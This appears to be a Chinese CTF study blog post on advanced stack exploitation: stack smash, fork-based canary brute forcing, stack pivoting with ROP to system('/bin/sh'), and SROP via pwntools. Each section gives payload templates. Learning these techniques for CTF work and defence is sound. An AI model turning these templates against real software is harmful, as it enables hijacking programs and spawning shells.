首页 > 其他分享 >pwn知识——ret2text进阶

pwn知识——ret2text进阶

时间:2023-12-19 21:56:20浏览次数:39  
标签:ret2text p64 函数 canary payload pwn rsp stack 进阶

stack smash

造成原因

当进行栈溢出时,触发了__stack_chk_fail,从而拦截了该栈溢出,使程序崩溃
image

利用原理

我们首先了解一下__stack_chk_fail函数的构成
image
发现调用了__fortify_fail函数,那我们再看下这个函数
image
发现有两个参数,一个是msg(信息,也就是前边的"stack smashing detected"),另一个是__libc_argv[0],这其实是主函数里的一个参数,保存了我们的程序名
那么我们的方法就是,将__libc_argv[0]的地址替换为flag所在的地址,这样在进行检测报错后就可以直接将flag给打印出来(一般而言都是有open函数打开了一个flag文件然后读入)

使用方式

在动态调试中,往gets/read函数处(注意函数里边的参数是什么)下断点后进行栈溢出,退出输入函数后使用stack计算程序名读入的地址与rsp指向的地址之间的偏移量,将发送等同于偏移量大小的垃圾数据后进行地址跳转即可
形式如

payload = offset * b'a' + p64(flag_addr)

局限性

glibc-2.23及之前的版本可用,但在glibc-2.27及之后的版本,因为stack_chk_fail或fortify_fail源代码的中一些参数的变化,导致了stack smash这样的方法无法通过检测,再也行不通
有且仅有在flag文件内置于程序内可用

多进程爆破(多用于爆破Canary)

原理

fork函数会在父进程中创建子进程并完全复制父进程的地址空间的内容,如果成功,fork函数会在子程序返回0,若出错则会返回负值。因为完全复制的特性,所以子进程和父进程的Canary是一样的,如果在循环中调用了fork函数,可以根据函数特性爆破Canary的值

利用方式

Canary默认的最低字节是'\x00',因此我们只用爆破前七个字节就够了。然后构造payload
基础形式

canary = '\x00' #默认最低字节已经是\x00
for first in range(7): #第一重循环,七次,对应爆破七个字节
    for bit in range(0x100): #第二重循环,每个字节有0x00到0xFF的取值,所以要循环0x100次
	p.send(offset_buf_to_canary * 'a' + canary + chr(bit)) #覆盖到canary地址处,首先输出'\x00',而后通过chr函数将unicode编码转换成对应字符,如果字符和canary对应,则可以通过canary检测
	string_in_father = p.recvuntil('fork函数里的字符串内容') #具体情况具体分析
	if 'fork函数之后的字符串(如果有的话)' in string_in_father: #判断条件,用于爆破出正确的canary值
	    canary += chr(bit) #正确的话,加上一字节
		print(hex(u64(canary.ljust(8,b'\x00')))) #在十六进制下输出被解包的canary,左对齐,不足八位用'\x00'补齐
		break

像p.recvuntil和string_in_father其实是可变的,甚至可以说是不一定有的,要根据具体情况具体分析,这只是个大致模板,真要做还得慢慢分析

局限性

爆破很慢,因为循环次数多,而且每次都要判断,导致爆破出canary的过程极其漫长,有这时间都可以去做别的题目了
条件苛刻,首先得有fork函数,其次还要循环调用,缺一不可

stack pivot(栈迁移)

原理

构造一条恶意的ROP链,将rbp,rsp迁移到这含有这条恶意的ROP链的栈(通常是bss区上,且有可执行权限)上,控制执行流
这其中很重要的就是leave指令的应用

leave -> mov rsp,rbp
         pop rbp

还有ret,ret返回的地址是栈顶数据,而栈顶由rsp决定,我们只要控制了rsp,我们也就控制了ret返回的栈顶数据

利用方式

在read/gets函数溢出后,如果有canary就接收canary,而后接收栈地址,然后构造第一次的payload
以puts函数泄露libc_base为例(攻击的基础样式)

elf = ELF('该程序的绝对路径/相对路径')
payload_first = p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) #泄露基地址
payload_first += payload.ljust(offset_from_buf_to_canary,b'\x00') #将垃圾数据恰好填指储存canary的地址前
payload_first += p64(canary) + p64(stack) + p64(leave_retn_addr) #stack要记得在接收时减去offset_from_rbp_to_rsp并且再减去8。注意,我们把ret的地址覆盖成leave_ret,相当于执行了两次leave,第一次时rbp指向stack,而rsp指向了第二个leave,第二次leave把rbp指向的stack的地址赋值给了rsp,我们就控制了rsp跳转的地址了,但是第二次的'pop rbp'是多余的,会抬高rsp八字节,所以在构造stack数据时,要考虑把数据放到rsp-8的位置,最后ret的时候rsp会把指向内存的内容赋值给rip,让rip去执行

通过泄露出的libc_base可以通过对应版本的libc.so文件调用任意函数,将system函数和bin/sh迁移到stack上,再将rsp迁移到stack上即可。但是在第二次进入main函数的时候,栈会被抬高,因此我们需要计算抬高的栈距离我们第一次泄露的栈的距离,在read/gets函数里能看到buf的地址,从而算出offset的值,就可以构造第二次的payload的了

stack = stack - offset - 8 #第二次时的栈的地址
payload_second = p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
payload_second = payload_second.ljust(offset_from_buf_to_canary,b'\x00')
payload_second += p64(canary) + p64(stack) + p64(leave_ret_addr)

优点

所需字节数较少,适用于read读入字节不够的情况,当然,前提还是要能进行栈溢出

条件

仍需要栈溢出
存在可控制内容的内存,并且需要能够泄露出基地址

SROP(早期应该不怎么会见得到这玩意)

原理

这个玩意我觉得我解释不清,直接甩佬的链接就好了

https://xz.aliyun.com/t/12790

利用方式

在Linux i386下调用sigreturn的代码存放在vdso中(暂不研究,主讲x86_64)
在Linux x86_64下,系统调用号为15的syscall为sigreturn,题目里如果在汇编代码里有设置rax为15的话(mov rax,15),很大可能就是要利用SROP进行攻击了
常见模板

frame = SigreturnFrame() #pwntools集成了这种攻击方式
frame.rax = 59 #execve()的系统调用号为59,如果找不到合适的系统调用号,就可以看能不能通过read控制rax的值
frame.rdi = 写有'bin/sh\x00'的地址 #如果是bss,直接写bss区地址即可;若在栈上,则还需泄露栈地址
frame.rip = syscall_addr
frame.rsi = 0
payload = "bin/sh\x00" * offset + p64(syscall_addr) + p64(15) + str(frame)

优点

可以直接getshell
可以orw
可以执行mprotect进而利用shellcode来orw

局限性

需要有足够大的空间来塞下整个sigreturn frame
需要有可写入的空间,如bss,data,栈等等

标签:ret2text,p64,函数,canary,payload,pwn,rsp,stack,进阶
From: https://www.cnblogs.com/falling-dusk/p/17904126.html

相关文章

  • day23 面向对象进阶
    属性查找顺序:对象本身→类对于类而言,self就是一个普通形参对于对象而言,self就是对象本身 类的继承:减少重复#自己写的时候不推荐使用继承继承多个的时候功能会混乱继承后子类会拿到父类的所有东西classfather():classson(father):继承后的属性查找顺序:对象自己→类→父......
  • 2023强网杯ez_fmt题解及进阶格式化之劫持子函数
    格式化任意内存读写相信已经是老生常谈了,但是随着题目难度加大,格式化题目给我们的难题逐渐变成了覆写什么,改写什么。这题对我是一道很好的例题,其中对栈及函数调用的理解堪称刷新我的认知。exp先放着,想自己调试理解的可以看看。frompwnimport*context(terminal=['tmux','......
  • Redis进阶:Lua初尝试
    Lua是一门脚本语言,可以编写Lua脚本到Redis中执行 【使用Lua脚本的优点】1.减少网络开销。Redis每条命令都需要进行网络传输,特别是命令条数很多的情况。2.原子操作。脚本都会作为一个整体执行,中间不会有其他命令插入。3.复用。会永远存储在Redis中比较类似Sql里面的存储过程......
  • Pwn 练习随笔
    pwn练习随笔1. [SWPUCTF2021新生赛]nc签到 打开附件发现是py源码。 importosart='''(("####@@!!$$))`#####@@!$$`))(('####@!!$:((,####@!!$:)).###@!!$:`##@@!$:`#@!!$!@#`#@!$:......
  • 动态规划进阶
    数位DP常见的模板:询问\(l\simr\)中有多少个满足给定条件的数,\(1\lel\ler\le10^{18}\)。这种问题,数位DP可以做到\(O(\logv)\)级别,其中\(v\)是\(l,r\)的值域。思路直接枚举会枚举大量不可能满足条件的数,可以从数位入手。数位DP的算法流程如下:几个定义:\(len(......
  • 【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出
    拿到程序,先查一下保护状态没开pie,接着看主函数代码逻辑看到这里,因为程序开了canary,本程序没有可以泄露canary的方法,所以普通的栈溢出方法肯定打不了,这里可以考虑一下smashstackStacksmash        在程序加了canary保护之后,如果我们读取的buffer覆盖了对......
  • 跨平台应用开发进阶(三十五) :Android权限列表permission说明
    一、前言uni-app开发完APP后,上架到应用市场,审核时会对APP内部设置的权限进行核准,并给出相应的理由。如项目中有以下权限设置:"android":{"permissions":["<uses-featureandroid:name=\"android.hardware.camera\"/>","<uses-featurea......
  • 2023ISCTF的fry题解及进阶格式化利用
    这题是一个比较好的进阶格式化利用。就是有点繁琐。先惯例checksec一下心脏骤停hhh。没事先分析一下Main函数int__cdeclmain(intargc,constchar**argv,constchar**envp){init(argc,argv,envp);puts("WelcometoISCTF~~~~~~~~~~~~~~~~");puts("Doyouwantto......
  • 进阶两数交换的方法论
    今天我们来看一个简单的问题,大家对交换两个数字有多少想法呢,先看看这个。以下我们全都以1,2,为例。#include<stdio.h>voidswap(inta,intb){ intt; t=a; a=b; b=t;}intmain(){ inta=1,b=2; swap(a,b); printf("a=%db=%d\n",a,b); return0;}请问这个代码会输出......
  • 【博主新书】《OpenCV应用开发:入门、进阶与工程化实践》
    写作初心OpenCV作为开源的计算机视觉框架已经有超过20年的发展历程,OpenCV4是OpenCV目前为止最重要的里程碑版本。OpenCV4不仅包含了传统图像处理、图像分析、特征提取等模块的各种主流算法算子,还包含了深度学习模型部署与加速支持模块,兼容支持多种硬件与操作系统。OpenCV开发的应用......